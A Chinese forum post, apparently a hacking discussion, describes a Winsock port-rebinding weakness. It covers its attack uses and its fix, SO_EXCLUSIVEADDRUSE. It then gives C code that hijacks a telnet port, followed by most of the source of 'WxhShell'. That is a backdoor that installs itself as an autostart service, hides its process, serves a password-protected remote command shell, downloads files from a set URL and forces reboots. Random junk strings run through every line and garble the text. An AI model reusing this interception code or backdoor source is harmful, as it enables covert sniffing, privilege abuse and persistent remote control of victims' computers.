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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %{ U (y#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #IppjaPl8  
JXuks`:Q  
  saddr.sin_family = AF_INET; =>S[Dh  
M7qg\1L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lGet)/w;c  
:2 \NG}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LI-ewea  
5#z7Hj&w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rE "FN~9P  
O4nA ?bA  
  这意味着什么?意味着可以进行如下的攻击: qW3XA$g|j'  
uaD+G:{ [  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \HD:#a  
QfjoHeG7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )[99SM   
 2X`t&zg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {dh@|BzsbH  
hB 'rkjt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W G3 _(mM  
^!m%:r7Dr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2n"-~'3\  
MHE/#G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DW,Z})9  
>8NUji2I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Yi-,Pb?   
9QD+  
  #include ga'G)d3oS  
  #include 1)u,%  
  #include U4"&T,'lTL  
  #include    U8aNL sw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ct(^nn$A  
  int main() _+Z;pt$C  
  { Vf(..8  
  WORD wVersionRequested; aEEb1Y  
  DWORD ret; 1Uah IePf  
  WSADATA wsaData; CTqhXk[  
  BOOL val; 6EY 0Fjsi  
  SOCKADDR_IN saddr; IUWJi\,  
  SOCKADDR_IN scaddr; 6 {`J I  
  int err; 6!6R3Za$  
  SOCKET s; B_@p@6z  
  SOCKET sc; ,7d#t4  
  int caddsize; oh:.iL}j  
  HANDLE mt; xNJ*TA[+  
  DWORD tid;   fDXTedrG/  
  wVersionRequested = MAKEWORD( 2, 2 ); ~1Ffu x  
  err = WSAStartup( wVersionRequested, &wsaData ); OSJL,F,  
  if ( err != 0 ) { p`"Ic2xPJ  
  printf("error!WSAStartup failed!\n"); qus%?B{b}  
  return -1; 1Si$Q  
  } wgQx.8 h>  
  saddr.sin_family = AF_INET; L8pKVr  
   %xX b5aY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !6 kn>447Y  
$7O3+R/=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v# fny  
  saddr.sin_port = htons(23); #]*d8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r0<zy_d'  
  { YvUV9qps~  
  printf("error!socket failed!\n"); j3R}]F'C*  
  return -1; I 'ha=PeVn  
  } /mn'9=ks  
  val = TRUE; ziQ&M\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xd`\Ai  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V>4v6)N  
  { Jg&f.  
  printf("error!setsockopt failed!\n"); tt&{f <*  
  return -1; u`*1OqU  
  } |/u,6`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bhKe"#m|S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ih5CtcE1'd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ; Yt'$D*CP  
8%Ak   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F_iZ|B  
  { {P==6/<2o  
  ret=GetLastError(); 1,n\Osd  
  printf("error!bind failed!\n"); [KEw5-=i@  
  return -1; *b`1+~p_2  
  } t&o&gb  
  listen(s,2); <I{Yyl^  
  while(1) Nm#[A4  
  { -c[fg+L9  
  caddsize = sizeof(scaddr); 1/=6s5vS}  
  //接受连接请求 ,C^u8Z|T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |-]'~ @~  
  if(sc!=INVALID_SOCKET) b~!Q3o'W  
  { LP>GM=S#"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AD7&-=p&w  
  if(mt==NULL) &8JK^zQq  
  { -{p~sRc&  
  printf("Thread Creat Failed!\n"); 5QG?*Z~?7  
  break; e'3y^Vg  
  } Nfd'|#  
  } eB<R"Yvi  
  CloseHandle(mt); ?V =#x.9  
  } riSgb=7q9  
  closesocket(s); cE*d(g  
  WSACleanup(); .6pVt_f0/  
  return 0; G9~ 4?v6:  
  }   nCLEAe$W\=  
  DWORD WINAPI ClientThread(LPVOID lpParam) N}'2GBqfU4  
  { }u;`k'J@  
  SOCKET ss = (SOCKET)lpParam; XJA];9^  
  SOCKET sc; :d|~k  
  unsigned char buf[4096]; ? RI D4xu!  
  SOCKADDR_IN saddr; +DYsBCVbag  
  long num; L1QDA}6?_Y  
  DWORD val; iE^=Vf;  
  DWORD ret; 1-s G`%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (~?p`g+I.P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^K:-r !v^  
  saddr.sin_family = AF_INET; |}o3EX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YLb$/6gj6  
  saddr.sin_port = htons(23); 8Q73h/3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5jsZJpk$  
  { 3qy4nPg  
  printf("error!socket failed!\n"); 3]pHc)p!.  
  return -1; rw[Ioyr-  
  } CEBa,hp@  
  val = 100; ,:qk+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gvFCsVv<{  
  { di37   
  ret = GetLastError(); ,hE989x<iI  
  return -1; a: F\4x=  
  } ^`bMFsP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %m-U:H.Vp  
  { 6>z,7 [  
  ret = GetLastError(); +.QJZo_  
  return -1; Yzw[.(jc}  
  } <4582x,G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?$VkMu$2k  
  { f'TEua_`  
  printf("error!socket connect failed!\n"); tN z(s)  
  closesocket(sc); dd *p_4;  
  closesocket(ss); U|x#'jGo'  
  return -1; W"&,=wvg2  
  } "NTiQ}i  
  while(1) bbT$$b-  
  { \t)`Cp6,[b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z#2n+hwE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |mcc?*%t8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~JO.h$1C  
  num = recv(ss,buf,4096,0); KtHkLYOCG  
  if(num>0) Z}.ZTEB  
  send(sc,buf,num,0); pj7v{H+  
  else if(num==0) aa{+,(  
  break; t8`wO+4@  
  num = recv(sc,buf,4096,0); B:Hr{%O  
  if(num>0) -F MonM  
  send(ss,buf,num,0); <,D*m+BWn  
  else if(num==0) %*#+(A"V  
  break; b7B|$T,  
  } 7mE9Zo1  
  closesocket(ss); W||&Xb  
  closesocket(sc); L @Q+HN  
  return 0 ; :[7O=[pk  
  } x_r*<?OZ  
#/{3qPN?@  
Sb(OG 6  
========================================================== P>(FCX  
%Aqf=R_^  
下边附上一个代码,,WXhSHELL GxEShSGOE  
4]6-)RHFB  
========================================================== 6@eF|GoP  
+wxsAGy_j  
#include "stdafx.h" Qqs1%u;e8  
4u+0 )<  
#include <stdio.h> |gIE$rt-~W  
#include <string.h> N1B$z3E *  
#include <windows.h> 9zY6hh**  
#include <winsock2.h> X-#&]^d  
#include <winsvc.h> w 5?D]u  
#include <urlmon.h> #'0Yzh]qc  
[FLR&=.(  
#pragma comment (lib, "Ws2_32.lib") 'C]Y h."u  
#pragma comment (lib, "urlmon.lib") e .~11bx  
i1!1'T8  
#define MAX_USER   100 // 最大客户端连接数 um}q@BU  
#define BUF_SOCK   200 // sock buffer Rc &m4|cw7  
#define KEY_BUFF   255 // 输入 buffer cnI5 G!  
?)186dp  
#define REBOOT     0   // 重启 v; R2,`[W  
#define SHUTDOWN   1   // 关机 M&/%qF15  
)BvMFwQG  
#define DEF_PORT   5000 // 监听端口 !&9(D^  
gu+zfvkcY  
#define REG_LEN     16   // 注册表键长度 bzxf*b1I  
#define SVC_LEN     80   // NT服务名长度 U7 ?v4O]D[  
k5Fj "U  
// 从dll定义API >0W P:-\*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5doi4b>]!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ikw@B)0}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (zsv!U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &K{8- t  
J=k=cFUX  
// wxhshell配置信息 t ^[fu,  
struct WSCFG { U||GeEd  
  int ws_port;         // 监听端口 `$ S&:Q,  
  char ws_passstr[REG_LEN]; // 口令 w"wW0uE^  
  int ws_autoins;       // 安装标记, 1=yes 0=no %1.F;-GdsW  
  char ws_regname[REG_LEN]; // 注册表键名 QA*<$v  
  char ws_svcname[REG_LEN]; // 服务名 1 l"2 ~k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )*>wa%[-q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b5LToy:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?5J#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &29jg_'W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dGn 0-l'q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Dzf\m>H[  
rpK&OR/  
}; Cj<8r S4+  
Z|%h-~  
// default Wxhshell configuration >Vjn]V5y  
struct WSCFG wscfg={DEF_PORT, kuD$]A Q`&  
    "xuhuanlingzhe", t4[q :[1  
    1, o_BTo5]  
    "Wxhshell", ^`'\eEa  
    "Wxhshell", 4,z|hY_*t  
            "WxhShell Service", IBo  
    "Wrsky Windows CmdShell Service", b4i=%]v8  
    "Please Input Your Password: ", 7I XWv-  
  1,  3Iv^  
  "http://www.wrsky.com/wxhshell.exe", .R)P |@z L  
  "Wxhshell.exe" Nw1*);b[y  
    }; W Su6chz)  
r)pt(*KHo  
// 消息定义模块 G?'^"ae"Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XGR2L DR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w;`Jj -  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _&hM6N  
char *msg_ws_ext="\n\rExit."; JM,%| E  
char *msg_ws_end="\n\rQuit."; 9=>fx  
char *msg_ws_boot="\n\rReboot..."; XDemdMy$  
char *msg_ws_poff="\n\rShutdown..."; pmNy=ZXx  
char *msg_ws_down="\n\rSave to "; 4nsJZo#S/  
f jx`|MJ  
char *msg_ws_err="\n\rErr!"; I%3[aBz4  
char *msg_ws_ok="\n\rOK!"; j,k3]bP  
qiNVaV\wr|  
char ExeFile[MAX_PATH]; K;R H,o1  
int nUser = 0; %\m"Yi]  
HANDLE handles[MAX_USER]; j7~FR{: j  
int OsIsNt; $H)^o!  
CxF d/X,  
SERVICE_STATUS       serviceStatus; R/+$ :  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `L'g<VK;  
entU+Or  
// 函数声明 6zi>Q?] 1  
int Install(void); %k!CjW3  
int Uninstall(void); KNVu[P)rv  
int DownloadFile(char *sURL, SOCKET wsh); 1t  R^  
int Boot(int flag); <u64)8'  
void HideProc(void); C-&ymJC|  
int GetOsVer(void); w' 7sh5  
int Wxhshell(SOCKET wsl); <`}P  
void TalkWithClient(void *cs); /WuYg OI  
int CmdShell(SOCKET sock); mO>L]<O  
int StartFromService(void);  &9y Zfp  
int StartWxhshell(LPSTR lpCmdLine); 6_j |@  
9kL,69d2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V(7,N(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N,(!   
y\?ey'o  
// 数据结构和表定义 n:5M E*  
SERVICE_TABLE_ENTRY DispatchTable[] = Rf:.'/<^  
{ U$OZkHA[  
{wscfg.ws_svcname, NTServiceMain}, $^]K611w9  
{NULL, NULL} J&xZN8jW   
}; s4|\cY`b-  
~YYnn7)  
// 自我安装 vF72#BNs  
int Install(void) }Hg G<.H>  
{ q/i2o[f'n  
  char svExeFile[MAX_PATH]; 6D;N.wDZ  
  HKEY key; B~]Kqp7yU  
  strcpy(svExeFile,ExeFile); j ZXa R  
jq+(2  
// 如果是win9x系统,修改注册表设为自启动 D-gH_ff<]9  
if(!OsIsNt) { Kj4/fB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t<H"J__&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9zp!lw~;+  
  RegCloseKey(key); ^6s im2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Y($ F2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S6~y!J6Ok4  
  RegCloseKey(key); IKD{3cVL  
  return 0; tB_le>rhl  
    } ?cV,lak  
  } {2\Y%Y'}*  
} ].d2CJ'  
else { }`tSRB7  
L:i&OCU2k  
// 如果是NT以上系统,安装为系统服务 hkMeUxS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !]4u"e  
if (schSCManager!=0) )qWwh)\;!  
{ t~Q 9} +  
  SC_HANDLE schService = CreateService `ecseBn3d  
  ( aKI"<%PNn  
  schSCManager, }[p{%:tP  
  wscfg.ws_svcname, PgBEe @.  
  wscfg.ws_svcdisp, '.A!IGsj  
  SERVICE_ALL_ACCESS, 8`4M4" lj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PxkV[ nbS  
  SERVICE_AUTO_START, JF=R$!5  
  SERVICE_ERROR_NORMAL, [|]J8o@u^  
  svExeFile, {[y6qQm  
  NULL, 5!c/J:z  
  NULL, v">?`8V  
  NULL, 1T^WMn:U  
  NULL, -U|c~Cqc  
  NULL -]N2V'QB  
  ); %>|FJ  
  if (schService!=0) 6= ?0&Bx&  
  { ;_}pIO  
  CloseServiceHandle(schService); 2#wnJdr6E  
  CloseServiceHandle(schSCManager); bWe2z~dP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w\buQ6pR)  
  strcat(svExeFile,wscfg.ws_svcname); (.J/Ql0Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MO`Y&<g~A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T.bFB+'E|  
  RegCloseKey(key); J Enjc/  
  return 0; %cF`x_h[j  
    } .D*Qu}  
  } -^p{J TB+  
  CloseServiceHandle(schSCManager); DE(XS zX  
} ]*0zir/  
} [|nK5(e9  
E7uIur=g!  
return 1; ]c(FgY c  
} +R'8$  
PRh C1#  
// 自我卸载 aV;|2}q "  
int Uninstall(void) sY ]J!"  
{ 2yN!yIPR  
  HKEY key; 15:9JVH3D  
66=[6U9 *  
if(!OsIsNt) { %4~"$kE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jqoo&T")  
  RegDeleteValue(key,wscfg.ws_regname); Yh<F-WOo2  
  RegCloseKey(key); ~ #jQFyOh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PGTEIptX7  
  RegDeleteValue(key,wscfg.ws_regname); 7oZ :/6_>  
  RegCloseKey(key); \u[x<-\/6  
  return 0; &V38)83a  
  } H<Sn p)  
} SmXoNiM"y  
} z'L0YqXG/  
else { ~Ntk -p  
T3 w%y`K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *C*J1JYp+  
if (schSCManager!=0) DB}Uzw|  
{ 6-U_TV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  9q;O`&  
  if (schService!=0) !BQt+4G7  
  { $QJ3~mG2  
  if(DeleteService(schService)!=0) { *i"9D:  
  CloseServiceHandle(schService); t3L>@NWG  
  CloseServiceHandle(schSCManager); /~LE1^1&U  
  return 0; e!u]l  
  } ;&d#)&O"e  
  CloseServiceHandle(schService); ]\yIHdcDi  
  }  5%-{r&  
  CloseServiceHandle(schSCManager); }?[];FB  
} <\229  
} +d, ~h_7!  
jcCAXk055  
return 1; .6y+van  
} 2Zu9? L ,I  
.; MS 78BR  
// 从指定url下载文件 _zj^k$ j  
int DownloadFile(char *sURL, SOCKET wsh) eMGJx"a  
{ F^l1WX6  
  HRESULT hr; #*(}%!rD*  
char seps[]= "/"; EjP;P}_iK  
char *token; HLyA zB~r  
char *file; 8xy8/UBIk0  
char myURL[MAX_PATH]; fJFNS y  
char myFILE[MAX_PATH]; cAR `{%b  
k*1Lr\1  
strcpy(myURL,sURL); \M`qaFan5^  
  token=strtok(myURL,seps); +wi=IrRr  
  while(token!=NULL) =~:IiK/#  
  { {B+}LL!  
    file=token; [ycX)iM  
  token=strtok(NULL,seps); |/,S NE  
  } "uH>S+%|b  
0i~U(qoI  
GetCurrentDirectory(MAX_PATH,myFILE); !2t7s96  
strcat(myFILE, "\\"); CCTU-Xz/  
strcat(myFILE, file); +\=g&G,  
  send(wsh,myFILE,strlen(myFILE),0); 1l-5H7^w2?  
send(wsh,"...",3,0); e-dkvPr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a_N7X  
  if(hr==S_OK) Us`=^\  
return 0; (?zg.y  
else hjL;B 'IL  
return 1; hBU)gP75  
w=GMQ8  
}  'z} t= ?  
0U=wGI O  
// 系统电源模块 g *$2qKm  
int Boot(int flag) N,Y)'s<  
{ Zc7;&cz  
  HANDLE hToken; 7|}4UXr7y  
  TOKEN_PRIVILEGES tkp; o\8?CNm1(  
M5#wz0  
  if(OsIsNt) { +Tum K.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oN032o?S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TgkVd]4%  
    tkp.PrivilegeCount = 1; joY7Vk!<o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k9k39`t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7uR;S:WX  
if(flag==REBOOT) { Y j oe|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <Km9Mq  
  return 0; VR (R.  
} |4\1V=(  
else { [t4v/vQT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sVyV|!K  
  return 0; r;Sk[Y5#  
} u=:f%l  
  } /+*"*Br/  
  else { bZ* = fdh  
if(flag==REBOOT) { u99a"+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _xKn2?d8g  
  return 0;  7)2K6<q  
} F`g(vD >  
else { H07\z1?.K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #eW T-m  
  return 0; #E]K*mE'  
} #/>TuJc  
} um,f!ho-U  
j_JY[sex  
return 1; Tpl]\L1v-  
} f.w",S^  
PK]3uh  
// win9x进程隐藏模块 +byOThuE  
void HideProc(void) & ijz'Sg3  
{ ]dUG=dWO  
868X/lL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mj@2=c  
  if ( hKernel != NULL ) 7 $y;-[E[  
  { 'AA9F$Dz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); atyvo0fNd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v@qP &4Sp  
    FreeLibrary(hKernel); !!C/($  
  } 8}|et~7!  
f~VlCdf+  
return; }n^Rcz6HeO  
} TIGtX]`  
<r}wQ\F#  
// 获取操作系统版本 HLWffO/  
int GetOsVer(void) ;1(^H:7T  
{ rUI?{CV  
  OSVERSIONINFO winfo; 9xR5Jm>k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wQSan&81Q  
  GetVersionEx(&winfo); <- \|>r Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zsp%Cz7T  
  return 1; %7ngAIg  
  else hTDK[4e  
  return 0; Qu|CXUk  
} =F+v+zP7P  
v~mVf.j1  
// 客户端句柄模块 Sgi`&;PF  
int Wxhshell(SOCKET wsl) g*YDgY  
{ J5{;+ysUMl  
  SOCKET wsh; s|\)Y*B`  
  struct sockaddr_in client; %jL^sA2;c+  
  DWORD myID; p}^G#h{  
DhE-g<  
  while(nUser<MAX_USER) I!hh_  
{ l5D)UO  
  int nSize=sizeof(client); 5f*_K6,v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D40 vCax^J  
  if(wsh==INVALID_SOCKET) return 1; #*g=F4>t  
j4/[Z'5ny  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s!IIvF  
if(handles[nUser]==0) syw1Z*WK  
  closesocket(wsh); rI>x'0Go*  
else FJ3S  
  nUser++; lEk@I"  
  } mi=mwN%UB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w~@"r#-  
%axr@o[  
  return 0; x_Ev2 c'4  
} Ja6KO2}p  
6*Z7JiQ 0  
// 关闭 socket .lcp5D[(  
void CloseIt(SOCKET wsh) IAO5li3  
{ 5_(\Cd<#  
closesocket(wsh); `vBBJ@f4)  
nUser--; Wj.t4XG!  
ExitThread(0); QXb2jWz  
} 0x<ASfka  
X /c8XLe"  
// 客户端请求句柄 c5^HGIe1  
void TalkWithClient(void *cs) $9G& wH>{  
{ PMAz[w,R~  
>M#@vIo?<6  
  SOCKET wsh=(SOCKET)cs; iM!2m$'s  
  char pwd[SVC_LEN]; &qbEF3p^@  
  char cmd[KEY_BUFF]; |S!R Q-CF  
char chr[1]; f\2IKpF2  
int i,j; 4kL6aSqT  
'ma X  
  while (nUser < MAX_USER) { 9VW/Af  
,[;O'g?,g  
if(wscfg.ws_passstr) { `jeATxWv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /"e@rnn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s*PKr6X+  
  //ZeroMemory(pwd,KEY_BUFF); <1*kXTN(  
      i=0; $9YQ aN%  
  while(i<SVC_LEN) { Pxl,"  
:'T+`(  
  // 设置超时 2^B_iyF;  
  fd_set FdRead; "AagTFs(i  
  struct timeval TimeOut; =NY;#Jjn  
  FD_ZERO(&FdRead); RiTL(Yx  
  FD_SET(wsh,&FdRead); K$Bv4_|x  
  TimeOut.tv_sec=8; &@6xu{o  
  TimeOut.tv_usec=0; Ll KO(Q{"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4 {M   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5{HF'1XgZ*  
H q6%$!q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |" }rdOV)  
  pwd=chr[0]; iDDJJ>F26  
  if(chr[0]==0xd || chr[0]==0xa) { sRt7.fe  
  pwd=0; TJv .T2|  
  break; oL]uY5eZoe  
  } ^0zfQu+!  
  i++; <{W{ Y\_A>  
    } $z_yx `5  
:aOR@])>o  
  // 如果是非法用户,关闭 socket ^=x/:0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;n't:yQW  
} f9#zV2ke]  
JL,Y9G*]s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b|_e):V|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M+:5gMB'  
d dgDq0N1j  
while(1) { !SK`!/7c?  
i`+w.zJOH8  
  ZeroMemory(cmd,KEY_BUFF); qiet<F  
2B4.o*Q\  
      // 自动支持客户端 telnet标准   TyV~2pc N  
  j=0; L!:NL#M  
  while(j<KEY_BUFF) { {]6-,/3UR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Mr_Ao`E  
  cmd[j]=chr[0]; B=OzP+  
  if(chr[0]==0xa || chr[0]==0xd) { WD%(RC"Q  
  cmd[j]=0; gs1yWnSv5  
  break; A l;a~45  
  } R([zlw~B5  
  j++; /%cDX:7X  
    } Milp"L?B%  
~B[e*| d  
  // 下载文件 6c!F%xU}  
  if(strstr(cmd,"http://")) { #H7 SLQr\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hj1;f<' U  
  if(DownloadFile(cmd,wsh)) dCo)en  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UnDCC_ud  
  else p l^;'|=M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N~]qQ oj,  
  } +Kgl/Wg%  
  else { 62ru%<x=  
IN/$b^Um  
    switch(cmd[0]) { K{d3)lVYCS  
  9<3(  QR  
  // 帮助 Tbm ~@k(C  
  case '?': { Osz=OO{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #[bosb!R  
    break; x=H{Rv  
  } 5:r AWq  
  // 安装 /}1|'?P  
  case 'i': { z9 0JZA  
    if(Install()) P DY :?/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HsYzIQLL  
    else |"K%Tvxe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Do(G;D`h+_  
    break; '|gsmO  
    } 7l7VT?<:  
  // 卸载 &/[MWQ  
  case 'r': { T"P}`mT  
    if(Uninstall()) ~U w<e~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R'Ue>k  
    else KAZ<w~55c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :uAL(3pQ  
    break; (^W}uDPCB  
    } cS Lj\'`b  
  // 显示 wxhshell 所在路径 q5r7 KYH{  
  case 'p': { q+[ )i6!?  
    char svExeFile[MAX_PATH]; .=YV  
    strcpy(svExeFile,"\n\r"); g5#LoGc  
      strcat(svExeFile,ExeFile); +F NGRL  
        send(wsh,svExeFile,strlen(svExeFile),0); ;uAh)|;S#  
    break; 1^^{;R7N  
    } jS]Saqd  
  // 重启 Xj]9/?B?  
  case 'b': { \ C:Gx4K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {*bx8*y1  
    if(Boot(REBOOT)) T[OI/ WuK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Y+pLvG*  
    else { g<;pyvq|:  
    closesocket(wsh); 0fstEExw  
    ExitThread(0); nY MtK  
    } ]a.e;c-  
    break; d s`YVXKH  
    } FrMXf,}  
